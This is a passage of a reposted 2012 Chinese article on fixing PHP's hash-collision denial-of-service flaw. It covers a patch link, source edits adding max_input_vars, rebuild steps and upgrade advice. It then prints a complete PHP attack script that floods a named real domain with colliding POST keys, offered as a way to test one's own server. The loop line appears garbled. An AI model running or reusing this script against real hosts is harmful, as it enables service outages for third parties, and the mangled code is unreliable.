快速业务通道

PHP的hash漏洞解决方案

作者 佚名技术 来源 Linux系统 浏览 发布时间 2012-03-23
复此漏洞 patch地址: https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars 2.如果是php-5.3.x的版本,修复漏洞有两种方法: 第一种:修改php-5.3.x的源码 A. 修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令:
STD_PHP_INI_ENTRY(" max_input_vars", "1000", PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals) B.修改文件/main/php_globals.h,_php_core_globals结构体内加上:
long max_input_vars; C.修改文件/main/php_variables.c,在: zend_symtable_update(symtable1, escaped_index, index_len 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); 之前加入:
if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.", PG(max_input_vars));
} 源码修改完之后,进入原来的php源码目录:
make clean
make
make install 测试:
phpinfo: 出现max_input_vars=1000(默认值,可以在php.ini中配置此参数) 第二种方法:升级php主程序(建议使用) 官方在PHP-5.3.9RC2中修复了此漏洞 PHP 5.3.9RC2 : http://downloads.php.net/johannes PHP 5.4.0RC2: http://windows.php.net/qa/ 注释: 另外, 其他语言java, ruby等, 请各位也预先想好对策, 限制post_size是治标不治本的方法, 不过可以用来做临时解决方案. DDOS攻击程序:

<?php
set_time_limit(0);

/**
* 设置变量
*/

$host = ''www.teamtop.com''; //域名
$uri = ''/index.php''; //建立一个名为response.php的php文件,里面什么都不用写
$data = ''''; //拼接攻击参数
$size = pow(2, 16);
for ($key = 0, $max = ($size - 1) * $size; $key <= $max; $key = $size) {
$data .= ''&array['' . $key . '']=0'';
}
/**
* 发送攻击请求
*/

$str = "POST {$uri} HTTP/1.1\r\n";
$str .= "Host: {$host}\r\n";
$str .= "Content-type: application/x-www-form-urlencoded\r\n";
$str .= "Content-length: " . strlen($data) . "\r\n";
$str .= "Connection: close\r\n";
$str .= "\r\n";
$str .= "{$data}\r\n";

$fp = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp)
die(''err'');
fputs($fp, $str);
$s = '''';
while (!feof($fp))
$s .= fgets($fp, 1024);
fclose($fp);

echo ''ok''; 在攻击程序同层目录创建空文件response.php 注意观察:获取ok的时间,及服务器的CPU占用率 刚刚修复了服务器的这个漏洞,整合了网上的一些资料,跟大家做个分享!

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号